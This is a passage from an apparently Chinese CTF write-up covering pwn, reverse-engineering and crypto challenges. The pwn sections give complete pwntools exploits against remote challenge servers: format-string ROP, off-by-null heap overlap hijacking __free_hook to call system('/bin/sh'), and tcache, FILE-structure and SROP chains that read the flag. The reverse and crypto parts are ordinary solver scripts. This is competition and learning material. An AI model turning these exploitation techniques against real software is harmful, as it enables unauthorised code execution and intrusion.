        off_1=(value>>((i+1)*8))&0xff

        if value==0:

          go('%45$hhn')

        else:

          go('%'+str(off_1)+'c%45$hhn')

 

 

    fmt(stack,pop_rdi_ret)

    fmt(stack+0x8,bin_sh_addr)

    fmt(stack+0x10,pop_rsi_ret)

    fmt(stack+0x18,0)

    fmt(stack+0x20,pop_rsi_ret+1)

    fmt(stack+0x28,system_addr)

 

    pay='%'+str((stack-0x20)&0xffff)+'c%15$hn'

    go(pay)

    gdb_attach(io,gdb_text)

    go('%'+str(0xae)+'c%45$hhn')

 

    success('libc_base:'+hex(libc_base))

    success('stack:'+hex(stack))

    # success('heap_base:'+hex(heap_base))

    io.interactive()

  # except Exception as e:

  #   io.close()

  #   continue

  # else:

  #   continue

 

 

4.pwnpwn

代码审计

main()

 

jhn3zpczep013789.jpg

 

sub_C60()

 

5ifmtttqa1t13793.jpg

 

该函数利用4个rand()%10,让我们猜4个数字

add()

 

h0aczjxnc1d13795.jpg

 

off by null漏洞

思路

利用time(0)是获取当前时间,我们可以利用这点对rand()的进行碰撞,有概率成功;然后利用off_by_null,实现堆重叠,然后劫持free_hook改为system,释放含有“/bin/sh\x00”便可以getshell

exp:

from pwn import*
from ctypes import *

context(arch=
'i386', os='linux',log_level="debug")
context.terminal=[
"wt.exe","wsl.exe"]
libc = ELF(
"./libc-2.31.so")
# libc = ELF("./libc-so.6")
libc_run = cdll.LoadLibrary(
'./libc-so.6')

"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    
global p,elf 
    
# p = process(name)
    p = remote(
"47.108.165.60",30770)
    elf = ELF(name)

def add(idx,size,content):
    p.sendlineafter(
"root@$",'1')
    p.sendlineafter(
"give me your index:",str(idx))
    p.sendlineafter(
"give me your size:",str(size))
    p.sendafter(
"give me your content:",content)

def edit(idx,content):
    p.sendlineafter(
"root@$",'3')
    p.sendlineafter(
"give me your index",str(idx))
    p.sendlineafter(
"give me your index",str(idx))
    p.sendafter(
"give me your content:",content)
    

def dele(idx):
    p.sendlineafter(
"root@$",'4')
    p.sendlineafter(
"give me your index:",str(idx))

def show(idx):
    p.sendlineafter(
"root@$",'2')
    p.sendlineafter(
"give me your index:",str(idx))

def login(name,passwd):
    p.sendlineafter(
"root@$",'5')
    p.sendafter(
"please input your username",name)
    p.sendafter(
"please input your passwd",passwd)

# p.recvuntil("menu")
# libc_run.srand(libc_run.time(0))
# num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  
libc_run.srand(libc_run.time(
0)+10)
num = (libc_run.rand()%
10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  

def pwn(num):

    p.sendlineafter(
"please input your number:",str(num))
    p.recvline()
    
if not p.recvuntil("you win",timeout=0.1):
        exit(
0)
    login(
"AAAAA","AA")

    add(
0,0x440,"AAA")
    add(
1,0x88,"AAA")
    add(
2,0x440,"AAAA")
    add(
3,0x60,"AAA")
    dele(
0)
    dele(
2)
    add(
0,0x450,"AAAA")
    add(
2,0x440,"AAAAAAAA")
    add(
4,0x440,"AAAAAAAA")
    edit(
4,"\x70"*9)
    login(
"AAAAA","A"*100)
    show(
4)
    libc.address = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 1008 - 0x10 - libc.sym['__malloc_hook']
    free_hook = libc.sym[
'__free_hook']
    print(hex(libc.address))
    login(
"AAAAA\x00","AAA\x00")
    edit(
4,"A"*0xf+"+")
    login(
"AAAAA","A"*100)
    show(
4)
    p.recvuntil(
"+")
    heap_addr = u64(p.recv(
6).ljust(8,b"\x00")) - 0x290
    print(hex(heap_addr))
    login(
"AAAAA\x00","AAA\x00")

    ptr = heap_addr + 
0xc60 - 0x20
    target = heap_addr + 
0x10c0 - 0x20
    edit(
0,p64(target))
    
# for i in range(5):
    
#     dele(i)


    
# add(7,0x80,"AAA")
    
# add(8,0x70,"AAAA")
    
# add(9,0x3f0,"AAAA")
    add(
5,0x220,p64(0)+p64(0x441)+p64(ptr-0x18)+p64(ptr-0x10))
    add(
6,0x218,"AAA")
    add(
7,0x4f0,"AAAA")
    dele(
6)
    add(
6,0x218,b"A"*0x210+p64(0x440))
    dele(
7)

    add(
7,0x210,"AAAA")
    add(
8,0x60,"AAAAA")

    dele(
3)
    dele(
6)
    login(
"AAAAA\x00","AAA\x00")

    edit(
8,p64(free_hook))

    add(
6,0x60,"/bin/sh\x00")
    add(
3,0x60,p64(libc.sym['system']))
    dele(
6)
# gdb.attach(p,"")
while True:
    
try:
        get_p(
"./pwnpwn")
        pwn(num)
        p.interactive()
    
except:
        p.close()
# get_p("./pwnpwn")
# pwn()
# p.interactive()
 
或者脚本:
from pwn import *
from struct import pack
from ctypes import *
import hashlib
context(os='linux', arch='amd64', log_level='debug')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
 
p = remote('47.108.165.60', 26364)
elf = ELF("./pwnpwn")
 
libc = ELF('./libc-2.31.so')
 
my_libc= cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = my_libc.srand(my_libc.time(0))
num_4 = my_libc.rand() % 10
num_3 = my_libc.rand() % 10
num_2 = my_libc.rand() % 10
num_1 = my_libc.rand() % 10
num = num_4*1000 + num_3*100 + num_2*10 + num_1
sla("please input your number:",str(num))
 
menu = 'root@$\n'
def add(index, size, content = b'a'):
    sla(menu, '1')
    sla('give me your index:\n', str(index))
    sla('give me your size:\n', str(size))
    sa('give me your content:\n', content)
def show(index):
    sla(menu, '2')
    sla('give me your index:\n', str(index))
def edit(index, content):
    sla(menu, '3')
    sla('give me your index\n', str(index))
    sla('give me your index\n', str(index))
    sa('give me your content:\n', content)
def delete(index):
    sla(menu, '4')
    sla('give me your index:\n', str(index))
def login(user, passwd):
  sla(menu, '5')
  sla(b'username\n', user)
  sla(b'passwd\n', passwd)
 
login(b'1', b'1')
 
add(0,0x418, b"A"*0x100) 
add(1,0x108) #1 barrier
add(2,0x438, b"B0"*0x100) 
add(3,0x438, b"C0"*0x100) 
add(4,0x108,b'4'*0x100) 
add(5, 0x488, b"H"*0x100) 
add(6,0x428, b"D"*0x100)
add(7,0x108)
 
delete(0)
delete(3) 
delete(6) 
 
delete(2)
 
add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2]) 
 
add(3,0x418) 
add(6,0x428) 
add(0,0x418,b"0"*0x100) 
 
delete(0)
delete(3) 
add(0, 0x418, b'a' * 8) 
add(3, 0x418)   
 
delete(3) 
delete(6) 
add(6,0x500-8, b'6'*0x488 + p64(0x431)) 
add(3, 0x3b0)
delete(4)
add(4, 0x108, 0x100*b'4' + p64(0x550))
delete(6)
add(6,0x438)
login(b'2133', b'2131221')    
show(4)
libc_base = get_addr() - 0x1ecbe0
login(b'a'*8, b'\x01'*0x106)
delete(6) 
add(6, 0x458, 0x438*b'6'+p64(0x111)) 
delete(7) 
delete(4) 
 
delete(6)
add(6, 0x458, 0x438*b'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook']))
 
add(7,0x108,b'/bin/sh\x00')
add(4,0x108)
edit(4, p64(libc_base+libc.sym['system']))
delete(7)
 
inter()

这里随机值一直碰撞不成功,撞了2个小时,只能说没有直接想到,我们可以直接time(0)+10,然后当我们碰撞运行,当时间变成time+10时,大概率就可以碰到,不行就多用几次

5.DE_CAT

代码审计

main()

 

wgw3z1j5sn013796.jpg

 

经典堆题

init_s()

 

ntdszqbcv1r13797.png

 

不用看就知道了,要orw

edit()

 

gev0s2ngnoo13800.jpg

 

又是off_by_null

思路

先利用large chunk,泄露出来libc和heap的地址,再利用off_by_null,进行unlink,实现堆重叠,然后往environ位置上申请chunk,泄露出来stack地址,然后劫持add()的返回地址,实现控制执行流

exp:

from pwn import*
context(arch=
'i386', os='linux',log_level="debug")
context.terminal=[
"wt.exe","wsl.exe"]
# libc = ELF("../libc/")
libc = ELF(
"./libc-so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    
global p,elf 
    
# p = process(name)
    p = remote(
"47.108.165.60",45244)
    elf = ELF(name)

def add(size,content):
    p.sendlineafter(
"input your car choice >> ","1")
    p.sendlineafter(
"size:",str(size))
    p.sendafter(
"content:",content)

def edit(idx,content):
    p.sendlineafter(
"input your car choice >> ",'4')
    p.sendlineafter(
"idx:",str(idx))
    p.sendafter(
"content:",content)

def show(idx):
    p.sendlineafter(
"input your car choice >> ",'3')
    p.sendlineafter(
"idx:",str(idx))

def dele(idx):
    p.sendlineafter(
"input your car choice >> ",'2')
    p.sendlineafter(
"idx:",str(idx))

get_p(
"./CAT_DE")

add(
0x440,"AAA")
add(
0x88,"AAA")
add(
0x440,"AAAA")
add(
0x88,"AAA")
dele(
0)
dele(
2)
add(
0x450,"AAAA")
add(
0x440,"AAAAAAAA")
add(
0x440,"AAAAAAAA")
show(
4)
libc.address = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 0x21a000 - 0xe0
envrion = libc.sym[
'environ']
stdout = libc.sym[
'_IO_2_1_stdout_']
print(hex(libc.address))
p.recv(
2)

heap_addr = u64(p.recv(
8)) - 0x290
print(hex(heap_addr))

for i in range(7):
    add(
0xf8,"AAA")

add(
0x108,"AAA")
add(
0xf0,"AAAA")
add(
0x88,"AAA")

for i in range(7):
    dele(i+
5)

target = heap_addr + 
0x17c0
ptr = heap_addr + 
0xc60
edit(
0,p64(target))
payload = p64(
0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
payload = payload.ljust(
0x100,b"\x00") + p64(0x100)
edit(
12,payload)
dele(
13)

add(
0xe8,"AAAA")
add(
0xe8,"AAAA")

dele(
5)
dele(
6)
show(
12)
p.recvuntil(
"\xf1")
p.recv(
7)
en_key = u64(p.recv(
8))
print(
"en_key ===> " + hex(en_key))
key = u64(p.recv(
8))
print(
"key ===> " + hex(key))
payload = p64(
0)+p64(0xf1)+p64(en_key)+p64(key)
payload = payload.ljust(
0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)
edit(
12,payload)

add(
0xe8,"AAAA")
add(
0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))
print(hex(stdout))

add(
0xd0,"A"*8)
show(
7)
stack = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8
print(hex(stack))
edit(
6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))


pop_rdi = 
0x000000000002a3e5 + libc.address
pop_rsi = 
0x000000000002be51 + libc.address
pop_rdx_r12 = 
0x000000000011f497 + libc.address
read_addr = libc.sym[
'read']
open_addr = libc.sym[
'open']
write_addr = libc.sym[
'write']

orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(
0) + p64(open_addr)
orw += p64(pop_rdi) + p64(
3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(
1) + p64(write_addr)

add(
0xd0,b"./flag".ljust(8,b"\x00")+orw)
# gdb.attach(p,"b *free")

p.interactive()

注意也是libc-2.35,利用不了hook。

 

或者脚本:

#coding:utf-8

import sys

from pwn import *

from ctypes import CDLL

 

context.log_level='debug'

elfelf='./CAT_DE'

#context.arch='amd64'

while True :

  # try :

    elf=ELF(elfelf)

    context.arch=elf.arch

 

    gdb_text='''

      telescope $rebase(0x202040) 16

      b _IO_obstack_xsputn

      '''

 

    if len(sys.argv)==1 :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=process(elfelf)

      gdb_open=1

      # io=process(['./'],env={'LD_PRELOAD':'./'})

      clibc.srand(clibc.time(0))

      libc=ELF('./libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    else :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=remote('47.108.165.60',49429)

      gdb_open=0

      clibc.srand(clibc.time(0))

      libc=ELF('./libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    def gdb_attach(io,a):

      if gdb_open==1 :

        gdb.attach(io,a)

 

    def choice(a):

      io.sendlineafter(' >> \n',str(a))

 

    def add(a,b):

      choice(1)

      io.sendlineafter('size:\n',str(a))

      io.sendafter('content:\n',b)

  

    def edit(a,b):

      choice(4)

      io.sendlineafter(':\n',str(a))

      io.sendafter('content:\n',b)

 

    def show(a):

      choice(3)

      io.sendlineafter(':\n',str(a))

 

    def delete(a):

      choice(2)

      io.sendlineafter(':\n',str(a))

 

    add(0x4f8,'aaa')

    add(0x6f8,'a')

    add(0x4f8,'aaa')

    add(0x6f8,'a')

    delete(0)

    delete(2)

    add(0x4f8,'\x00')

    add(0x4f8,'\x00')

    show(0)

    io.recvuntil('context:\n')

    io.recv(8)

    heap_base=u64(io.recv(6)+'\x00\x00')&0xfffffffffffff000

 

    show(2)

    io.recvuntil('context:\n')

    io.recv(8)

    libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['_IO_2_1_stdin_']-0x1e0-0x60

    libc.address=libc_base

    bin_sh_addr=libc.search('/bin/sh\x00').next()

    system_addr=libc.sym['system']

    free_hook_addr=libc.sym['__free_hook']

    pop_rax_ret=libc.search(asm('pop rax;ret')).next()

    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()

    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()

    pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()

    syscall_ret=libc.search(asm('syscall;ret')).next()

    gadget=[

    'mov rdx, rbx; mov rdi, r12; call qword ptr [rbp + 0x38];',

    'mov rdx, r13; mov rsi, r12; mov rdi, r14; call qword ptr [rbx + 0x38];',

    'mov rdx, r13; mov rsi, r10; call qword ptr [rbx + 0x38];',

    'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];',

    'mov rdx, qword ptr [rbx + 0x40]; mov rdi, rbx; sub rdx, rsi; call qword ptr [rbp + 0x70];'

    ]

    gadget_addr=libc.search(asm(gadget[3])).next()

 

    delete(3)

    delete(2)

    delete(1)

    delete(0)

 

    add(0x508,'aaa')

    add(0xf0,'aa')

    add(0xf8,'aa')

    add(0x4f0,'aaa')

    add(0xf0,'aa')

 

    edit(0,p64(0)+p64(0x701)+p64(heap_base+0x2d0)*2+p64(heap_base+0x2a0)*0x10)

    edit(2,'\x00'*0xf0+p64(0x700))

    delete(3)

    delete(4)

    delete(1)

    add(0x540,'\x00'*0x4f0+p64(0)+p64(0x101)+p64((libc.sym['stderr'])^(heap_base>>12)))

 

 

 

    add(0xf0,'aa')

    add(0xf0,p64(heap_base+0x2b0))

 

 

    from FILE import *

    context.arch='amd64'

    IO=IO_FILE_plus_struct()

    IO._flags=0xfbad2087

    IO._lock= heap_base+0x10000 #can read addr

    IO._IO_save_base=0x21 #size unuse

    IO._chain=0x21 #size unuse

    IO.vtable=libc.sym['_IO_file_jumps']-0x240 

    #libc.sym['_IO_obstack_jumps'] _IO_obstack_xsputn

 

    IO_addr=heap_base+0x2b0

    SROP_addr=IO_addr+0x200+0x10

    obstack_addr=IO_addr+0xf0

    flag_name_addr=SROP_addr-0x8

 

    pay=str(IO)[0x10:]

    #pay+=obstack_addr

    pay+=p64(obstack_addr)

    #pading

    pay+='\x00'*0x8

    #obstack struct

    '''

    struct obstack          /* control current object in current chunk */

    {

      long chunk_size;              /* preferred size to allocate chunks in */

      struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */

      char *object_base;            /* address of object we are building */

      char *next_free;              /* where to add next char to current object */

      char *chunk_limit;            /* address of char after current chunk */

      union

      {

        PTR_INT_TYPE tempint;

        void *tempptr;

      } temp;                       /* Temporary for some macros.  */

      int alignment_mask;           /* Mask of alignment for each object. */

      struct _obstack_chunk *(*chunkfun) (void *, long);

      void (*freefun) (void *, struct _obstack_chunk *);

      void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */

      unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */

      unsigned maybe_empty_object : 1; /* There is a possibility that the current

      unsigned alloc_failed : 1;      

    };

    '''

    pay+='\x00'*0x38+p64(gadget_addr)

    pay+=p64(0)+p64(IO_addr+0x180+0x10)+p32(1)

 

    pay=pay.ljust(0x180,'\x00')

    pay+=p64(0)+p64(SROP_addr)

    pay=pay.ljust(0x1f8,'\x00')

    

 

    srop=SigreturnFrame()

    srop.rsp=SROP_addr+0x100

    srop.rdi=0

    srop.rsi=0

    srop.rdx=0x30

    srop.rip=pop_rax_ret+1

 

    pay+='./flag\x00\x00'

 

    pay+=str(srop)[:0x20]

    pay+=p64(libc.sym['setcontext']+61)

    pay+=str(srop)[0x28:]

 

    pay=pay.ljust(0x300,'\x00')

 

    pay+=p64(pop_rax_ret)+p64(3)

    pay+=p64(syscall_ret)

 

    pay+=p64(pop_rdi_ret)+p64(flag_name_addr)

    pay+=p64(pop_rsi_ret)+p64(0)

    pay+=p64(pop_rax_ret)+p64(2)

    pay+=p64(syscall_ret)

 

    

    pay+=p64(pop_rax_ret)+p64(0)

    pay+=p64(pop_rdi_ret)+p64(0)

    pay+=p64(pop_rsi_ret)+p64(heap_base)

    pay+=p64(syscall_ret)

 

    pay+=p64(pop_rax_ret)+p64(1)

    pay+=p64(pop_rdi_ret)+p64(1)

    pay+=p64(pop_rsi_ret)+p64(heap_base)

    pay+=p64(syscall_ret)

 

 

    delete(2)

    delete(3)

    edit(1,(p64(0xfbad2087)+p64(0)+pay).ljust(0x4f0)+p64(0)+p64(0x101)+p64((heap_base+0xfa0)^(heap_base>>12)))

 

    add(0xf0,'aa')

    add(0xf0,p64(0)+p64(0x300))

 

 

    

 

 

    

    success('libc_base:'+hex(libc_base))

    success('heap_base:'+hex(heap_base))

 

    gdb_attach(io,gdb_text)

    io.interactive()

 

  # except Exception as e:

  #   io.close()

  #   continue

  # else:

  #   continue

 

 

 

四、REVERSE

1.ez_cpp

patch程序, 输出匹配的密文数量到exitcode。

.text:00413CFA                 jmp     short loc_413D19

.text:00413CFA ; ---------------------------------------------------------------------------

.text:00413D19 loc_413D19:                             ; CODE XREF: .text:00413CFA↑j

.text:00413D19                 push    ecx

.text:00413D1A                 nop

.text:00413D1B                 call    ds:__imp_exit

爆破脚本:

import string
import os
import time

table = string.ascii_letters+string.digits+'!-{}'
# table = string.printable
# 'SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}'
theflag = ''
while len(theflag) < 32:
    for ch in table:
        flag = (theflag+ch).ljust(32, '#')
        exitcode = os.system(f"echo {flag} | ez_cpp3.exe 1>&0")
        if exitcode >= len(theflag) + 1:
            theflag += ch
            print(theflag, exitcode)
            break
    else:
        print('not found')
    time.sleep(0.1)

2.3D_Maze

dump迷宫地图


m = ['#', ' ', '2', '$', '3', '@', '5']

for level in range(6):
    print('level', level)
    for y in range(10):
        line = ''
        for x in range(10):
            n = ida_bytes.get_dword(0x140005040+(level*100+y*10+x)*4)
            line += m[n]
        print(line)

手搓


level 0      跳 1-?-0
## #######
## #### ##
## #    ##
## # #####
## #     *衔接1   wddwwdddddD
## # #####
##       *衔接1   
##4# #####
###$######
###*######      w

level 5          可以跳回 0-9-3
###*######
### ######
### ######
### ######
### ######
##  ######
## #######
*  #######      ddwwdwwwwwW
##########
##########

level 1
##########
#    #####
# ##     *衔接2   dwwwdddsdddddD
# ########
* ########
##########
*    #####
##########
##########
##########

level 3       可以跳到5-7-0
##*#######    sssssssssS
## #######
## #  ####
##  ## ###
##  ######
##  ######
##  ## ###
## #  ####
## #######
##*#######

level 2       可以跳到4-0-9
*#########    wwW
 #########
*## # ### 
## # # # #
## #### ##
### ### ##
#### ## ##
## # ## ##
### ### ##
##########

level 4          可以跳3-0-2
######## *  从2过来  
######## #
*        #         assaaaaaaaaA
##########
##########
##########
##########
##########
##########
##########


00000000000111111111111112224444444444443333333333555555555550
wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw

snake:

import ctypes

from Crypto.Cipher import ARC4

from hashlib import md5

 

libc = ctypes.CDLL("ucrtbase.dll")

libc.srand.argtypes = [ctypes.c_uint]

libc.rand.restype = ctypes.c_int

 

srand = libc.srand

rand = libc.rand

 

srand(0x94307F97)

seed_list = []

for i in range(361):

    seed_list.append(rand())

 

 

def enc(buf, size, seed):

    srand(seed)

    keysize = int(rand()*1.0/32767.0 * 256.0)

    table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\x00'

    pwd = ''

    for i in range(keysize):

        idx = int(rand()*1.0 / 32767.0 * 63.0)

        pwd += table[idx]

 

    cipher = ARC4.ARC4Cipher(pwd.encode())

    xorstream = b'\x00'*size

    xorstream = cipher.encrypt(xorstream)

    outbuf = bytearray(buf)

    for i in range(size):

        outbuf[i] ^= xorstream[i]

    return bytes(outbuf)

 

 

foods = []

for i in range(361):

    srand(seed_list[i])

    while 1:

        y = rand() % 20

        x = rand() % 20

        if not (x == 0 or x == 19 or y == 0 or y == 19):

            # print(i, y, x)

            foods.append((y, x))

            break

 

 

tmp = 0x92

 

data = b'\x02'

for i in range(2):

    data += bytes([data[-1] ^ 0xBE])

# print(data.hex())

 

flag_data = data[:]

eat_count = 361 # 初始长度就是3, 但是要求吃361个 ???

for i in range(eat_count):

    y, x = foods[i]

    pos = y << 8 | x

    data = enc(data, 3+i, pos)

    # print(data.hex())

 

    _tmp = tmp

    # print(hex(tmp-1), hex(data[0]-1))

    tmp = ((tmp-1) ^ (data[0]-1)) & 0xFF

    flag_data = data[:]

    data = data[::-1]

    data += bytes([_tmp])

    # print(hex(tmp))

 

s = flag_data.ljust(361, b'\x00').hex().encode()

print('flag_data', len(flag_data))

print('SYC{'+md5(s[:722]).hexdigest()+'}')

babythread:

断在0x411BDE位置,把输入替换成密文

(DE1C22271DAEAD65ADEF6E414C3475F1165050D448696D93361C863BBBD04C91)。

然后断在memcmp处, 拿到明文flag。

k='!This_program_cannot'
def Rc4_Encrypt(m,key):
    s=[]
    t=[]
    out=[] #putput
    for i in range(256):
        s.append(i)
        t.append(key[i%len(key)])

    j=0
    for i in range(256):
        j=(j+s[i]+t[i])%256
        s[i],s[j]=s[j],s[i]

    i,j=0,0
    for p in range(len(m)):
        i=(i+1)%256
        j=(j+s[i])%256

        s[i],s[j]=s[j],s[i]

        index=(s[i]+s[j])%256
        out.append(s[index]^m[p])
    print(bytes(out))

rck=[0x01, 0xE5, 0xD5, 0x40, 0xC3, 0xD5, 0x76, 0x36, 0xFE, 0x66, 0x2D, 0x05, 0xC9, 0xFB, 0x50, 0xE7]
enc=[0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF, 0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4, 0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0, 0x4C, 0x91]
Rc4_Encrypt(enc,rck)

 

 

0129FE14  53 59 43 7B 54 68 31 73 5F 69 73 5F 40 5F 45 61  SYC{Th1s_is_@_Ea  
0129FE24  73 59 5F 33 6E 63 72 79 70 74 4F 21 21 21 21 7D  sY_3ncryptO!!!!}

3.gowhere


from claripy import *
from libnum import *


tmp_flag = [BVS(f'flag{i}', 8) for i in range(30)]
# x_flag = b'111111111122222222223333333333'
# tmp_flag = [BVV(x_flag[i], 8) for i in range(30)]
flag = Concat(*tmp_flag)
unk = 9


def enc1():
    global unk
    unk += 1
    if unk & 1 == 0:
        for i in range(30):
            tmp_flag[i] = (unk+tmp_flag[i]) ^ 0x17


def enc2():
    global unk
    unk += 1
    tmp_flag[0] += 2
    tmp_flag[1] -= 28
    tmp_flag[2] ^= 0x47
    tmp_flag[3] += tmp_flag[4]
    tmp_flag[5] += 73
    tmp_flag[6] += 12
    tmp_flag[7] -= tmp_flag[8]
    tmp_flag[8] ^= 0x5A
    tmp_flag[9] ^= 0x22
    tmp_flag[10] += 20
    tmp_flag[12] -= 84
    tmp_flag[13] ^= 4
    tmp_flag[14] ^= 0x1C
    tmp_flag[17] -= 1
    tmp_flag[27] ^= 0x11
    tmp_flag[28] ^= 3


def enc3():
    global unk
    if unk % 3 == 2:
        v13 = 0
        v11 = 29
        while v13 < 15:
            tmp_flag[v13], tmp_flag[v11] = tmp_flag[v11], tmp_flag[v13]
            v13 += 1
            v11 -= 1
    unk += 1


solve = Solver()
for i in range(4):
    enc1()
    enc2()
    enc3()

print(hex(unk))

enc_flag = bytes.fromhex(
    '4D635D344309A2770ABFC9B3E96F797D7BE899904308BB990E2ED47B27B7')

for i in range(30):
    solve.add(enc_flag[i] == tmp_flag[i])


for k in solve.eval(flag, 2):
    print(n2s(k))

# b'SYC{I_h0pE_you_cAn_FInd_d4eam}'

4.ezr3

脱壳,调试

魔改UPX,将文件中的HCK改为UPX即可通过 upx -d 脱壳。

 

3qvoylnfqmi13802.jpg

 

之后运行该文件发现报错信息如下,通过 system/bin/linker64 可知该文件为安卓平台下的ELF 

可执行文件 

 

wbddqs3fldy13803.jpg

 

之后即可将文件push到手机上并通过安卓真机+IDA调试

分析

main函数开头会修改内存中的数据,调试获取即可

 

qqrhd12osf413805.jpg

 

加密过程如下:循环移位、异或、乘法运算

 

fq1bgtjrfop13807.jpg

 

脚本:

unsigned int fin[36] = { 
0x0003B148, 0x000D2CAE, 0x0003A1FB, 0x00044F40, 0x000472DE, 0x0000CCC0, 
0x00001888, 0x00003B80, 
0x000702F7, 0x000C745C, 0x000658E0, 0x000858D4, 0x0000D5BD, 0x00004860, 
0x0014F410, 0x0002CB9F, 
0x000321DB, 0x0014D534, 0x00025DA0, 0x0006898C, 0x00123D56, 0x00058E4D, 
0x00050CF8, 0x00005D64, 
0x000978BA, 0x0008F290, 0x0003B568, 0x00054696, 0x00094C12, 0x0001021F, 
0x000DBACB, 0x00049680, 
0x0002FABD, 0x000F2B58, 0x0012D23C, 0x0014AED3 
}; 
unsigned long mul[36] = { 
0x0000000000000D21, 0x000000000000009D, 0x000000000000094B, 
0x00000000000003C9, 
0x0000000000000C3F, 0x00000000000017E9, 
0x000000000000130E, 0x0000000000000088,0x0000000000000486, 
0x000000000000202F, 
0x0000000000002230, 0x00000000000024B4, 
0x00000000000008B1, 0x0000000000000A9F, 0x0000000000001AD2, 
0x00000000000023EB, 
0x0000000000000C7E, 0x000000000000042B, 
0x00000000000005BF, 0x000000000000113C,0x0000000000000449, 
0x0000000000001751, 
0x0000000000000ACE, 0x0000000000001894, 
0x000000000000208A, 0x0000000000000E82, 0x00000000000006BD, 
0x0000000000000CEE,0x0000000000002386, 0x00000000000013D4, 0x0000000000000111, 
0x0000000000000D1C, 
0x000000000000238E, 0x0000000000001759, 0x000000000000012B, 
0x000000000000214D 
}; 
unsigned char flag[40] = { 0 }; 
unsigned long* a = &mul[18]; 
for (int i = 0; i < 36; i += 6) { 
flag[i] = fin[i] / (*(a - 18)); 
flag[i + 1] = fin[i + 1] / (*(a - 12)); 
flag[i + 2] = fin[i + 2] / (*(a - 6)); 
flag[i + 3] = fin[i + 3] / (*(a)); 
flag[i + 4] = fin[i + 4] / (*(a + 6)); 
flag[i + 5] = fin[i + 5] / (*(a + 12)); 
a++; 
} 
int j = 0; 
for (int i = 35; i >= 0; --i) { 
flag[i] ^= flag[j++]; 
flag[i] = ((flag[i] >> 4) | (flag[i] << 4)) & 0xff; 
} 
printf("%s", flag);

 

yxyxg4g2fne13808.jpg  

 

 

 

 

 

 

五、CRYPTO

1.signin

关键点是求出data1,data2。通过data3 = ring(data1 / data2)

我们可以使用连分数求解。

脚本1:

import gmpy2
from Crypto.Util.number import long_to_bytes


#求出data1,data2
data3=1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588


c = continued_fraction(data3)
print(c)


alist = c.convergents()
print(alist)


for i in alist:
a = str(i).split('/')
if len(a) > 1 and gcd(int(a[0]), int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(
a[0]).bit_length() == 256 and int(a[1]).bit_length() == 256:
print(a)
break
#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769']


#解密leak得到p-q
data1=97093002077798295469816641595207740909547364338742117628537014186754830773717
data2=67958620138887907577348085925738704755742144710390414146201367031822084270769
leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
e=data1
n=data1*data2
phi = (data1-1) * (data2-1)
d = gmpy2.invert(e,phi)
p_q = gmpy2.powmod(leak,d,n)
print(p_q)


#求解p,q
p_q=57684649402353527014234479338961992571416462151551812296301705975419997474236
n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
e = 65537
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
var("p,q")
